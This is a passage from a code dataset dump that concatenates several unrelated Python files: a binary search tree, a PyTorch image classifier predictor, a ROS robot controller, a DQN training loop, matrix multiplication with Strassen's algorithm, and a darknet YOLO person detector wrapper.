print('Post-order')\n self.root.postorder()\n\n\n def inorder(self):\n print('In-order')\n self.root.inorder()\n\n\n def remove(self, data):\n if self.root is None:\n return False\n\n #data is in the root\n elif self.root.data == data:\n if self.root.leftchild is None and self.root.rightchild is None:\n self.root = None\n\n elif self.root.leftchild and self.root.rightchild is None:\n self.root = self.root.leftchild\n\n elif self.root.leftchild is None and self.root.rightchild:\n self.root = self.root.rightchild\n\n elif self.root.leftchild and self.root.rightchild:\n delNodeParent = self.root\n delNode = self.root.rightchild\n\n while delNode.leftchild:\n delNodeParent = delNode\n delNode = delNode.leftchild\n\n self.root.data = delNode.data\n\n if delNode.rightchild:\n if delNodeParent.data > delNode.data:\n delNodeParent.leftchild = delNode.rightchild\n elif delNodeParent.data < delNode.data:\n delNodeParent.rightchild = delNode.rightchild\n\n else:\n if delNode.data < delNodeParent.data:\n delNodeParent.leftchild = None\n\n else:\n delNodeParent.rightchild = None\n\n\n parent = None\n node = self.root\n\n #find node to remove\n while node and node.data != data:\n parent = node\n if data < node.data:\n node = node.leftchild\n\n elif data > node.data:\n node = node.rightchild\n\n\n if parent is None:\n return True\n\n\n #case: data not found\n if node is None or node.data != data:\n return False\n\n #case: remove node with no children\n elif node.leftchild is None and node.rightchild is None:\n if data < parent.data:\n parent.leftchild = None\n\n else:\n parent.rightchild = None\n\n return True\n\n #case: remove node with left child only\n elif node.leftchild and node.rightchild is None:\n if data < parent.data:\n parent.leftchild = node.leftchild\n else:\n parent.rightchild = node.leftchild\n\n return True\n\n #case: remove node with left child only\n elif node.leftchild is None and node.rightchild:\n if data < parent.data:\n parent.leftchild = node.rightchild\n else:\n parent.rightchild = node.rightchild\n\n return True\n\n\n #case: remove node with left and right children\n else:\n delNodeParent = node\n delNode = node.rightchild\n\n while delNode.leftchild:\n delNodeParent = delNode\n delNode = delNode.leftchild\n\n node.data = delNode.data\n\n if delNode.rightchild:\n if delNodeParent.data > delNode.data:\n delNodeParent.leftchild = delNode.rightchild\n\n elif delNodeParent.data < delNode.data:\n delNodeParent.rightchild = delNode.rightchild\n\n else:\n if delNodeParent.data > delNode.data:\n delNodeParent.leftchild = None\n\n elif delNodeParent.data < delNode.data:\n delNodeParent.rightchild = None\n\n\n\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.leftchild = None\n self.rightchild = None\n\n\n def add(self, data):\n if self.data == data:\n return False\n\n if self.data > data:\n if self.leftchild:\n return self.leftchild.add(data)\n\n self.leftchild = Node(data)\n return True\n\n else:\n if self.rightchild:\n return self.rightchild.add(data)\n\n self.rightchild = Node(data)\n return True\n\n\n def find(self, data):\n if self.data == data:\n return True\n\n if self.data > data:\n if self.leftchild:\n return self.leftchild.find(data)\n\n return False\n\n else:\n if self.rightchild:\n return self.rightchild.find(data)\n\n return False\n\n\n def preorder(self):\n if self:\n print (str(self.data))\n if self.leftchild:\n self.leftchild.preorder()\n\n if self.rightchild:\n self.rightchild.preorder()\n\n\n def postorder(self):\n if self:\n if self.leftchild:\n self.leftchild.postorder()\n\n if self.rightchild:\n self.rightchild.postorder()\n\n print (str(self.data))\n\n\n def inorder(self):\n if self:\n if self.leftchild:\n self.leftchild.inorder()\n\n print (str(self.data))\n\n if self.rightchild:\n self.rightchild.inorder()\n","sub_path":"pythonbits/binarytree.py","file_name":"binarytree.py","file_ext":"py","file_size_in_byte":5636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"135717916","text":"# ------------------------------------------------------------------------------------------------------------------------\n# SAMPLE COMMAND LINE ARGUMENTS\n# python predict.py --checkpoint=\"./checkpoints/checkpoint_cl.vgg19.pth\" --topk=3 'flowers/valid/16/image_06671.jpg'\n# python predict.py --checkpoint=\"./checkpoints/checkpoint_cl.densenet121.pth\" --topk=3 'flowers/valid/16/image_06671.jpg'\n# ------------------------------------------------------------------------------------------------------------------------\n\n\n# Imports here\n\nimport plumbing as lp\nimport nn_utility as lnn\n\nimport time\nfrom collections import OrderedDict\n\n\nimport torch\nfrom torch import nn\nfrom torch import optim\nimport torch.nn.functional as F\nfrom torchvision import datasets, transforms, models\n\nimport numpy as np\nimport json\nfrom PIL import Image\nimport argparse\n\narch = {\"vgg19\":25088,\n \"densenet121\":1024}\n\nparser = argparse.ArgumentParser(\n description = 'PARSER: predict.py',\n epilog=\"FOR EG (TO USE VGG19): python predict.py 'flowers/valid/26/image_06506.jpg' --topk=2 --checkpoint=./checkpoints/checkpoint_cl.vgg19.pth\"\n)\n\nparser.add_argument('image_path',\n action=\"store\")\nparser.add_argument('--checkpoint',\n action=\"store\", default=\"./checkpoints/checkpoint_cl.vgg19.pth\")\nparser.add_argument('--topk',\n action=\"store\", default=5, type=int)\nparser.add_argument('--category_names', \n action=\"store\", default='cat_to_name.json')\nparser.add_argument('--gpu', \n action=\"store\", default='cuda')\n\n\nargs = parser.parse_args()\n\n\n\nimage_path = args.image_path\ncheckpoint = args.checkpoint\ntopk_arg = args.topk\ncategory_names = args.category_names\n\nprint(\"\\nDEBUG....\")\nfor arg in vars(args):\n print (arg, getattr(args, arg))\nprint(\"---------------------------\\n\")\n\n\n\ndef predict(image_path, model, topk=5):\n ''' Predict the class (or classes) of an image using a trained deep learning model.\n '''\n \n # TODO: Implement the code to predict the class from an image file\n \n image = lp.process_image(image_path)\n image = image.numpy()\n image = torch.from_numpy(np.array([image])).float()\n \n model.eval()\n\n device = \"cuda\"\n\n model = model.to(device)\n image = image.to(device)\n\n \n with torch.no_grad():\n answer = model.forward(image)\n \n prob = torch.exp(answer)\n \n topk, indices = prob.topk(topk, dim=1 )\n print(topk)\n print(indices)\n \n return topk, indices\n\n\nif __name__== \"__main__\":\n model_from_checkpoint, class_to_idx = lnn.load_checkpoint(checkpoint)\n\n topk, indices = predict(image_path, model_from_checkpoint,topk=topk_arg)\n print(topk)\n print(indices)\n\n cpu_device = torch.device(\"cpu\")\n topk = topk.to(cpu_device)\n indices = indices.to(cpu_device)\n \n indices = indices.view(-1)\n print(indices.shape)\n topk = topk.view(-1)\n \n with open(category_names, 'r') as f:\n cat_to_name = json.load(f)\n\n print(\"Total keys: {}\".format(len(cat_to_name)))\n\n idx_to_class = { label:folder for folder, label in class_to_idx.items() }\n\n list_cat_names_from_indices = [cat_to_name[idx_to_class[x]] for x in indices.numpy()]\n\n i = 0\n print (topk.numpy().size)\n while i < topk.numpy().size:\n print(f\"Category Name: {list_cat_names_from_indices[i]}.... probability of {topk[i]}...\")\n i += 1\n \n print(\"True Value from Label \")\n print(\"----------------------\")\n folder, cat_name = lp.image_class_and_category(image_path, cat_to_name)\n\n \n ","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":3642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"544143857","text":"#!/usr/bin/env python\n\nimport rospy\nfrom std_msgs.msg import String\nfrom time import sleep\n\n#Status defines\nSTATUS_IDLE = 10\nSTATUS_TO_SCAN = 20\nSTATUS_SCANNING = 30\nSTATUS_TO_FRIDGE = 40\nSTATUS_TEMPCHECK = 50\nSTATUS_PICKING = 55\nSTATUS_TO_DROP = 60\nSTATUS_DROPPING = 65\nSTATUS_TO_IDLE = 70\n\n#global status storage\nstatus = 10\npublisher = 0\n\n#debug global\nlog = 0\n\ndef callbackArrive(data): #Robot has arrived at intended location; driving complete\n\tglobal status\n\tif(status == STATUS_TO_SCAN):\n\t\tstatus = STATUS_SCANNING\n\telif(status == STATUS_TO_FRIDGE):\n\t\tstatus = STATUS_TEMPCHECK\n\telif(status == STATUS_TO_DROP):\n\t\tstatus = STATUS_DROPPING\n\t\tpublish()\n\t\tsleep(0.9)\n\t\tstatus = STATUS_TO_IDLE\n\telif(status == STATUS_TO_IDLE):\n\t\tstatus = STATUS_IDLE\n\tpublish()\n\ndef callbackStart(data): #A glass has been identified, drive to a bottle of the matching beer brand\n\tglobal status #10 start 20 home\n\tsig = int(data.data)\n\tif(sig == 20):\n\t\tstatus = STATUS_PICKING\n\t\tpublish()\n\t\tsleep(0.9)\n\t\tstatus = STATUS_TO_IDLE\n\telif(status == STATUS_IDLE and sig == 10):\n\t\tstatus = STATUS_TO_SCAN\n\tpublish()\n\ndef callbackBeer(data): #A glass has been identified, drive to a bottle of the matching beer brand\n\tglobal status\n\tif(status == STATUS_SCANNING):\n\t\tstatus = STATUS_TO_FRIDGE\n\tpublish()\n\ndef callbackTemp(data): #Temperature has been messured, decide on whether to accept it\n\tglobal status\n\tif(status == STATUS_TEMPCHECK):\n\t\tif(int(data.data) == 1):\t#Good temperature\n\t\t\tstatus = STATUS_TO_DROP\n\t\telse:\t#Too hot or failed to messure, try new bottle\n\t\t\tstatus = STATUS_TO_FRIDGE\n\tpublish()\n\ndef publish():\n\tglobal status, publisher, log\n\tpublisher.publish(str(status))\n\tlog.publish(\"New status: \" + str(status))\n\ndef main():\n\tglobal log, publisher\n\trospy.init_node('master_control', anonymous=True)\n\n\trospy.Subscriber('dashboard/control_start', String, callbackStart)\n\trospy.Subscriber('movement/status_ok', String, callbackArrive)\n\trospy.Subscriber('image_detection/beer_id', String, callbackBeer)\n\trospy.Subscriber('image_detection/thermal_id', String, callbackTemp)\n\n\tlog = rospy.Publisher(\"logFile\", String, queue_size=10)\n\tpublisher = rospy.Publisher(\"master_status\", String, queue_size=10)\n\n\t# spin() simply keeps python from exiting until this node is stopped\n\trospy.spin()\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"catkin_ws/src/master_control/scripts/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":2308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"177615675","text":"from setuptools import setup\nimport pylib3\n\nwith open(\"README.md\") as ifile:\n long_description = ifile.read()\n\npackage_name = 'pylib3'\nsetup(\n name=package_name,\n version=pylib3.get_version(\n caller=__file__,\n version_file='{}_VERSION'.format(package_name.upper())\n ),\n include_package_data=True,\n packages=[package_name],\n install_requires=[\n 'termcolor==1.1.0'\n ],\n scripts=[],\n url='https://gitlab.com/shlomi.ben.david/pylib3',\n author='Shlomi Ben-David',\n author_email='shlomi.ben.david@gmail.com',\n description='Python Shared Library',\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n classifiers=[\n \"Programming Language :: Python :: 2.7\",\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ],\n python_requires='>=2.7',\n)\n","sub_path":"pypi_install_script/pylib3-0.0.3.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"35104247","text":"import numpy as np\nimport tensorflow as tf\nimport random\nfrom collections import deque\nfrom dqn4 import dqn4 as dqn\nfrom MySocket import MySocket\n \n# ed: 입력값은 센서의 갯수만큼\ninput_size = 181\n\n# ed: 출력값은 One hot vector로써 10개의 케이스로 나뉜다\noutput_size = 10\n\n# 감가율\ndis = 0.9\n# 리플레이메모리 사이즈\nREPLAY_MEMORY = 50000\n# 최대 스텝개수\nMAX_STEP = 5000\n\n# ed: 데이터를 Socket으로부터 받아온다\ndyrosRLdata = MySocket.MySocket()\n\n\n# 실제로 DQN을 학습하는 함수. targetDQN, mainDQN을 분리시켰다\ndef ddqn_replay_train(mainDQN, targetDQN, train_batch):\n x_stack = np.empty(0).reshape(0, mainDQN.input_size)\n y_stack = np.empty(0).reshape(0, mainDQN.output_size)\n\n for state, action, reward, next_state, done in train_batch:\n Q = mainDQN.predict(state)\n\n # 게임이 끝난 경우\n if done:\n Q[0, action] = reward\n else:\n Q[0, action] = reward + dis * targetDQN.predict(next_state)[0, np.argmax(mainDQN.predict(next_state))]\n\n\n # 출력값 Q를 y_stack에 쌓는다\n y_stack = np.vstack([y_stack, Q])\n # 입력값 state를 x_stack에 쌓는다\n x_stack = np.vstack([x_stack, state])\n\n # 쌓인 학습데이터를 한번에 업데이트시킨다\n return mainDQN.update(x_stack, y_stack)\n\n\n# mainDQN ==> targetDQN 가중치를 복사하는 함수 (복잡해보이지만 그냥 복사하는것)\ndef get_copy_var_ops(*, dest_scope_name=\"target\", src_scope_name=\"main\"):\n # Copy variables src_scope to dest_scope\n op_holder = []\n\n # 모든 훈련가능(TRAINABLE_VARIABLES)한 Weight들을 scope에서 가져온다\n src_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=src_scope_name)\n dest_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=dest_scope_name)\n\n\n # src_var.value(가중치) 값들을 dest_var에 assign한다\n # 쉽게 말하면 가중치를 dest_var에 복사한다\n for src_var, dest_var in zip(src_vars, dest_vars):\n op_holder.append(dest_var.assign(src_var.value()))\n\n return op_holder\n\n\n\ndef main():\n # 최대 에피소드 개수\n max_episodes = 5000\n\n replay_buffer = deque()\n last_100_game_reward = deque()\n\n\n with tf.Session() as sess:\n # mainDQN, targetDQN을 생성한다\n mainDQN = dqn.DQN(sess, input_size, output_size, name=\"main\")\n targetDQN = dqn.DQN(sess, input_size, output_size, name=\"target\")\n\n # tf 변수들을 초기화한다\n tf.global_variables_initializer().run()\n\n # q_net --> target_net 복사한다\n copy_ops = get_copy_var_ops(dest_scope_name=\"target\", src_scope_name=\"main\")\n sess.run(copy_ops)\n \n # mainDQN == targetDQN이 같은상태에서 학습을 시작한다 (mainDQN만 학습한다)\n for episode in range(max_episodes):\n e = 1. / ((episode / 10) + 1)\n done = False\n step_count = 0\n\n dyrosRLdata.sendingMsg(0)\n state, _reward, _done = dyrosRLdata.getStep()\n\n while not done:\n # epsilon greedy 입실론 탐욕알고��즘을 사용한다\n if np.random.rand(1) < e:\n action = np.random.randint(10)\n else:\n action = np.argmax(mainDQN.predict(state))\n\n # Unity로 action 값을 전송한다\n dyrosRLdata.sendingMsg(action)\n\n next_state, reward, done = dyrosRLdata.getStep()\n\n #print(next_state)\n #print(\"a : \",action, \"s : \",next_state, \"e : \", done)\n\n # ed: code added\n reward += step_count\n\n if done:\n reward += -1000\n if step_count > MAX_STEP:\n reward += -500\n elif step_count > MAX_STEP * 0.8:\n reward += -600\n elif step_count > MAX_STEP * 0.6:\n reward += -700\n elif step_count > MAX_STEP * 0.4:\n reward += -800\n elif step_count > MAX_STEP * 0.2:\n reward += -900\n\n print(\"--------- reward : \", reward)\n\n\n # replay_buffer에 SARS를 저장한다\n replay_buffer.append((state, action, reward, next_state, done))\n\n if len(replay_buffer) > REPLAY_MEMORY:\n replay_buffer.popleft()\n\n state = next_state\n step_count += 1\n\n print(\"Episode: {} steps: {}\".format(episode, step_count))\n \n \n # 에피소드가 4번될 때마다 1번씩 \n if episode % 4 == 1:\n # 100번정도 돌면서 replay_buffer에서 10개의 데이터를 가져와서 학습한다\n for _ in range(100):\n minibatch = random.sample(replay_buffer, 10)\n loss, _ = ddqn_replay_train(mainDQN, targetDQN, minibatch)\n\n print(\"Loss: \", loss)\n\n # 특정 주기로만 mainDQN --> targetDQN으로 가중치를 복사한다\n sess.run(copy_ops)\n \n last_100_game_reward.append(step_count)\n\n if len(last_100_game_reward) > 100:\n last_100_game_reward.popleft()\n\n avg_reward = np.mean(last_100_game_reward)\n\n if avg_reward > MAX_STEP * 0.97:\n print(\"Game Cleared\")\n break\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"csharp_archive/unity_codes/dyros_RL_simulator/Tensorflow/dyros_RL_simulator_DQN/dyros_RL_simulator_DQN.py","file_name":"dyros_RL_simulator_DQN.py","file_ext":"py","file_size_in_byte":5632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"158386306","text":"# -*- coding:utf-8 -*-\r\n# Author: washing\r\n# DateTime: 2022/12/22 10:47\r\n# File: 1799.py\r\n# Desc: CV\r\n\r\n\r\nclass Solution:\r\n def maxScore(self, nums: List[int]) -> int:\r\n L = len(nums)\r\n N = L // 2\r\n # i: 第i次操作(从1开始)\r\n # state: nums中元素的使用情况\r\n @cache\r\n def dfs(i, state):\r\n if i > N: return 0\r\n # 先获取nums目前可用的元素(下标)\r\n usable = [j for j in range(L) if state >> j & 1 == 0]\r\n # 从中任取两个,枚举所有的选取方案,从中取最大值即可\r\n # combinations函数详解见官方文档\r\n # https://docs.python.org/zh-cn/3/library/itertools.html?highlight=itertool#itertools.combinations\r\n return max(i * gcd(nums[a], nums[b]) + dfs(i + 1, state | (1 << a) | (1 << b)) for a, b in combinations(usable, 2))\r\n\r\n return dfs(1, 0)\r\n\r\n# class Solution:\r\n# def maxScore(self, nums: List[int]) -> int:\r\n# def gys(a,b):\r\n# if a > b: a,b = b,a\r\n# while b % a:\r\n# a,b = b%a, a\r\n# return a\r\n# self.ret = tuple()\r\n# self.max = 0\r\n# def parse(before_num=0,before_num_list=None, before_list=None):\r\n# if before_list is None:\r\n# before_list = []\r\n# for i in range(len(nums)):\r\n# before_list.append(i)\r\n# if before_num_list is None: before_num_list = []\r\n# if len(before_list) == 0:\r\n# if before_num > self.max:\r\n# self.max = before_num\r\n# self.ret = before_num_list\r\n# return\r\n# for idx in before_list:\r\n# for jdx in before_list:\r\n# if jdx <= idx: continue\r\n# num = gys(nums[idx],nums[jdx])\r\n# next_list = before_list.copy()\r\n# next_list.remove(jdx)\r\n# next_list.remove(idx)\r\n# next_num = before_num_list.copy()\r\n# next_num.append(num)\r\n# parse(before_num+num,next_num, next_list)\r\n# parse()\r\n# self.ret.sort()\r\n# ret = 0\r\n# for idx,i in enumerate(self.ret):\r\n# ret += i*(idx+1)\r\n# return ret\r\n","sub_path":"Solutions/1799/1799.py","file_name":"1799.py","file_ext":"py","file_size_in_byte":2357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"70913988","text":"#!/usr/bin/env python\n\"\"\"\nTrigger an end-to-end test of a bag through the storage service.\n\"\"\"\n\nimport os\n\nimport boto3\nfrom wellcome_storage_service import StorageServiceClient\n\n\ndef get_client(api_url):\n \"\"\"\n Retrieve credentials from Secrets Manager to create a storage service client.\n \"\"\"\n secrets_client = boto3.client(\"secretsmanager\")\n\n client_id = secrets_client.get_secret_value(\n SecretId=\"end_to_end_bag_tester/client_id\"\n )\n\n client_secret = secrets_client.get_secret_value(\n SecretId=\"end_to_end_bag_tester/client_secret\"\n )\n\n return StorageServiceClient(\n api_url=api_url,\n client_id=client_id[\"SecretString\"],\n client_secret=client_secret[\"SecretString\"],\n token_url=\"https://auth.wellcomecollection.org/oauth2/token\",\n )\n\n\ndef main(*args):\n bucket = os.environ[\"BUCKET\"]\n key = os.environ[\"KEY\"]\n external_identifier = os.environ[\"EXTERNAL_IDENTIFIER\"]\n\n ingest_type = os.environ.get(\"INGEST_TYPE\", \"create\")\n\n api_url = os.environ[\"API_URL\"]\n\n client = get_client(api_url=api_url)\n\n ingest_location = client.create_s3_ingest(\n space_id=\"testing\",\n s3_bucket=bucket,\n s3_key=key,\n external_identifier=external_identifier,\n ingest_type=ingest_type,\n )\n\n print(ingest_location)\n\n ingest_id = ingest_location.split(\"/\")[-1]\n return f\"https://wellcome-ingest-inspector.glitch.me/ingests/{ingest_id}\"\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"monitoring/end_to_end_bag_test/src/end_to_end_bag_test.py","file_name":"end_to_end_bag_test.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"177279806","text":"import math, sys, time\nimport numpy\n\n# Afficher une matrice\ndef mat_print(m):\n m = numpy.array(m)\n m = m.astype(int)\n for row in m:\n print(\"\\t\".join(map(str,row)))\n\n# Lire la matrice depuis le fichier\ndef mat_load(m):\n f = open(m, \"r\")\n t = []\n Ne1 = int(f.readline())\n for i in range(int(math.pow(2,Ne1))):\n line = f.readline().split('\\t')\n t.append(list(map(int, line[0:len(line)-1])))\n f.close()\n\n t = numpy.array(t)\n return t\n\n# Addition de deux matrices\ndef mat_add(a, b):\n N = len(a)\n c = numpy.zeros((N, N))\n for i in range(N): \n for j in range(N):\n c[i][j] = a[i][j] + b[i][j]\n return c\n\n# Soustraction de deux matrices\ndef mat_sub(a, b):\n N = len(a)\n c = numpy.zeros((N, N))\n for i in range(N): \n for j in range(N):\n c[i][j] = a[i][j] - b[i][j]\n return c\n\n# Multiplication conventionnelle de deux matrices\ndef mat_mul_conventionnal(a, b):\n N = len(a)\n c = numpy.zeros((N, N))\n for i in range(N):\n for j in range(N):\n for k in range(N):\n c[i][j] += a[i][k] * b[k][j]\n return c\n\n# Multiplication diviser-pour-regner de deux matrices\ndef mat_mul_strassen(a, b, threshold):\n if len(a) <= threshold:\n return mat_mul_conventionnal(a, b)\n elif len(a) > 2 :\n N = len(a)\n N_2 = int(N/2)\n\n a00 = a[0:N_2, 0:N_2]\n a01 = a[0:N_2, N_2:N]\n a10 = a[N_2:N, 0:N_2]\n a11 = a[N_2:N, N_2:N]\n\n b00 = b[0:N_2, 0:N_2]\n b01 = b[0:N_2, N_2:N]\n b10 = b[N_2:N, 0:N_2]\n b11 = b[N_2:N, N_2:N]\n\n m1 = mat_mul_strassen(mat_sub(mat_add(a10, a11), a00), mat_add(mat_sub(b11, b01), b00), threshold)\n m2 = mat_mul_strassen(a00, b00, threshold)\n m3 = mat_mul_strassen(a01, b10, threshold)\n m4 = mat_mul_strassen(mat_sub(a00, a10), mat_sub(b11, b01), threshold)\n m5 = mat_mul_strassen(mat_add(a10, a11), mat_sub(b01, b00), threshold)\n m6 = mat_mul_strassen(mat_add(mat_sub(a01, a10), mat_sub(a00, a11)), b11, threshold)\n m7 = mat_mul_strassen(a11, mat_sub(mat_sub(mat_add(b00, b11), b01), b10), threshold)\n\n c00 = mat_add(m2, m3)\n c01 = mat_add(mat_add(m1, m2), mat_add(m5, m6))\n c10 = mat_sub(mat_add(mat_add(m1, m2), m4), m7)\n c11 = mat_add(mat_add(m1, m2), mat_add(m4, m5))\n\n return numpy.concatenate((numpy.concatenate((c00,c10)), numpy.concatenate((c01,c11))), axis=1) \n else :\n m1 = (a[1][0] + a[1][1] - a[0][0]) * (b[1][1] - b[0][1] + b[0][0])\n m2 = a[0][0] * b[0][0]\n m3 = a[0][1] * b[1][0]\n m4 = (a[0][0] - a[1][0]) * (b[1][1] - b[0][1])\n m5 = (a[1][0] + a[1][1]) * (b[0][1] - b[0][0])\n m6 = (a[0][1] - a[1][0] + a[0][0] - a[1][1]) * b[1][1]\n m7 = a[1][1] * (b[0][0] + b[1][1] - b[0][1] - b[1][0])\n return [[m2 + m3, m1 + m2 + m5 + m6], [m1 + m2 + m4 - m7, m1 + m2 + m4 + m5]]\n\n# Main\nif __name__==\"__main__\":\n\n algo = sys.argv[sys.argv.index(\"-a\") + 1]\n e1 = sys.argv[sys.argv.index(\"-e1\") + 1]\n e2 = sys.argv[sys.argv.index(\"-e2\") + 1]\n\n a = mat_load(e1)\n b = mat_load(e2)\n\n begin = time.time()\n if algo == \"conv\":\n c = mat_mul_conventionnal(a, b)\n elif algo == \"strassen\":\n c = mat_mul_strassen(a, b, 0)\n else:\n c = mat_mul_strassen(a, b, 8)\n\n if sys.argv.count(\"-p\"):\n mat_print(c)\n\n if sys.argv.count(\"-t\"):\n print((time.time() - begin) * 1000)","sub_path":"TP1/1841782_1845639_tp1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"293475706","text":"import sys\nsys.stdin = open(\"./Alg_Training/input.txt\", \"rt\")\n\nif __name__ == '__main__':\n N = int(input())\n block = []\n D = [0] * (N + 1)\n for _ in range(N):\n s, h, w = map(int, input().split())\n block.append([s, h, w])\n block.sort(key=lambda x: x[0], reverse=True)\n block.insert(0, [-1])\n for i in range(1, N + 1):\n if all(S[0] < block[i][0] for S in block[1:i]):\n D[i]=block[i][1]\n else:\n tmp_l=list(map(lambda j: D[j] if(block[j][2] > block[i][2]) else 0, range(1, i)))\n D[i]=max(tmp_l) + block[i][1]\n print(max(D))","sub_path":"Alg_Training/동적프로그래밍/07.py","file_name":"07.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"348640797","text":"import cv2\nfrom ctypes import *\nimport numpy as np\nfrom agv_follow.Config import YoloSettings\nfrom agv_follow.custom_types_and_functions import Box\n\nfrom cuda_context import PyCudaContext\n\nclass PersonDetector(object):\n def __init__(self):\n\n self.net_main = load_net_custom(YoloSettings.configPath.encode(\"utf8\"), \n YoloSettings.weightPath.encode(\"utf8\"), 0, 1) # batch size = 1\n\n with open(YoloSettings.cocoNamesPath) as names_fh:\n names_list = names_fh.read().strip().split(\"\\n\")\n self.names = [x.strip() for x in names_list]\n\n self.cuda_context = PyCudaContext() # Remember out network CUDA context\n self.cuda_context.pop_ctx() \n\n def detect(self, image):\n\n \"\"\"\n\n :param image:\n :return: list of dicts person_dict = {\n \"coordinates\": Box(x_min, y_min, x_max, y_max),\n \"prob\": probability,\n \"label\": label # only persons\n }\n \"\"\"\n self.cuda_context.push_ctx()\n\n image_prepared_for_net = make_square_image_dum(image.copy())\n detections = detect(self.net_main, image_prepared_for_net, self.names, YoloSettings.thresh)\n detections = [x for x in detections if x[0] == \"person\"]\n\n found_persons = []\n for detection in detections:\n label = detection[0]\n probability = detection[1]\n bounds = detection[2]\n\n x_min = max(int(bounds[0] - bounds[2] / 2), 0)\n y_min = max(int(bounds[1] - bounds[3] / 2), 0)\n x_max = min(int(bounds[0] + bounds[2] / 2), image.shape[1])\n y_max = min(int(bounds[1] + bounds[3] / 2), image.shape[0])\n offset_ratio = 0.3\n offset_w = (x_max - x_min) * offset_ratio\n offset_h = (y_max - y_min) * offset_ratio\n person_dict = {\n \"coordinates\": Box(x_min + offset_w, y_min + offset_h, x_max - offset_w, y_max - offset_h),\n \"prob\": probability,\n \"label\": label # only persons\n }\n found_persons.append(person_dict)\n\n self.cuda_context.pop_ctx() \n \n return found_persons\n\n\ndef make_square_image_dum(image):\n desirable_size = max(image.shape)\n result = np.zeros((desirable_size, desirable_size, image.shape[2]), dtype=image.dtype)\n result[0:image.shape[0], 0:image.shape[1], ::] = image\n return result\n\n\nclass BOX(Structure):\n _fields_ = [(\"x\", c_float),\n (\"y\", c_float),\n (\"w\", c_float),\n (\"h\", c_float)]\n\n\nclass DETECTION(Structure):\n _fields_ = [(\"bbox\", BOX),\n (\"classes\", c_int),\n (\"prob\", POINTER(c_float)),\n (\"mask\", POINTER(c_float)),\n (\"objectness\", c_float),\n (\"sort_class\", c_int)]\n\n\nclass IMAGE(Structure):\n _fields_ = [(\"w\", c_int),\n (\"h\", c_int),\n (\"c\", c_int),\n (\"data\", POINTER(c_float))]\n\n\nclass METADATA(Structure):\n _fields_ = [(\"classes\", c_int),\n (\"names\", POINTER(c_char_p))]\n\n\nlib = CDLL(YoloSettings.darknet_path, RTLD_GLOBAL)\nlib.network_width.argtypes = [c_void_p]\nlib.network_width.restype = c_int\nlib.network_height.argtypes = [c_void_p]\nlib.network_height.restype = c_int\n\npredict = lib.network_predict\npredict.argtypes = [c_void_p, POINTER(c_float)]\npredict.restype = POINTER(c_float)\n\nset_gpu = lib.cuda_set_device\nset_gpu.argtypes = [c_int]\n\nmake_image = lib.make_image\nmake_image.argtypes = [c_int, c_int, c_int]\nmake_image.restype = IMAGE\n\nget_network_boxes = lib.get_network_boxes\nget_network_boxes.argtypes = [c_void_p, c_int, c_int, c_float, c_float, POINTER(\n c_int), c_int, POINTER(c_int), c_int]\nget_network_boxes.restype = POINTER(DETECTION)\n\nmake_network_boxes = lib.make_network_boxes\nmake_network_boxes.argtypes = [c_void_p]\nmake_network_boxes.restype = POINTER(DETECTION)\n\nfree_detections = lib.free_detections\nfree_detections.argtypes = [POINTER(DETECTION), c_int]\n\nfree_ptrs = lib.free_ptrs\nfree_ptrs.argtypes = [POINTER(c_void_p), c_int]\n\nnetwork_predict = lib.network_predict\nnetwork_predict.argtypes = [c_void_p, POINTER(c_float)]\n\nreset_rnn = lib.reset_rnn\nreset_rnn.argtypes = [c_void_p]\n\nload_net = lib.load_network\nload_net.argtypes = [c_char_p, c_char_p, c_int]\nload_net.restype = c_void_p\n\nload_net_custom = lib.load_network_custom\nload_net_custom.argtypes = [c_char_p, c_char_p, c_int, c_int]\nload_net_custom.restype = c_void_p\n\ndo_nms_obj = lib.do_nms_obj\ndo_nms_obj.argtypes = [POINTER(DETECTION), c_int, c_int, c_float]\n\ndo_nms_sort = lib.do_nms_sort\ndo_nms_sort.argtypes = [POINTER(DETECTION), c_int, c_int, c_float]\n\nfree_image = lib.free_image\nfree_image.argtypes = [IMAGE]\n\nletterbox_image = lib.letterbox_image\nletterbox_image.argtypes = [IMAGE, c_int, c_int]\nletterbox_image.restype = IMAGE\n\nload_meta = lib.get_metadata\nlib.get_metadata.argtypes = [c_char_p]\nlib.get_metadata.restype = METADATA\n\nload_image = lib.load_image_color\nload_image.argtypes = [c_char_p, c_int, c_int]\nload_image.restype = IMAGE\n\nrgbgr_image = lib.rgbgr_image\nrgbgr_image.argtypes = [IMAGE]\n\npredict_image = lib.network_predict_image\npredict_image.argtypes = [c_void_p, IMAGE]\npredict_image.restype = POINTER(c_float)\n\n\ndef array_to_image(arr):\n \"\"\"reshape image (w, h, c) -> (1, c, w, h)\"\"\"\n arr = arr.transpose(2, 0, 1)\n c = arr.shape[0]\n h = arr.shape[1]\n w = arr.shape[2]\n arr = np.ascontiguousarray(arr.flat, dtype=np.float32) / 255.0\n data = 